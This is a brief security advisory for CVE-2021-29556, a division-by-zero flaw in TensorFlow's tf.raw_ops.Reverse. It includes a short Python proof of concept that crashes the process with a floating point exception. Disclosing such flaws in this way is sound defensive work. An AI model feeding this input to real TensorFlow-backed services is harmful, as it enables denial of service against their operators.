CVE-2021-29556: Division by 0 in `Reverse`

May 21, 2021 (updated October 31, 2024)

An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.Reverse:

import tensorflow as tf

tensor_input = tf.constant([], shape=[0, 1, 1], dtype=tf.int32)
dims = tf.constant([False, True, False], shape=[3], dtype=tf.bool)

tf.raw_ops.Reverse(tensor=tensor_input, dims=dims)
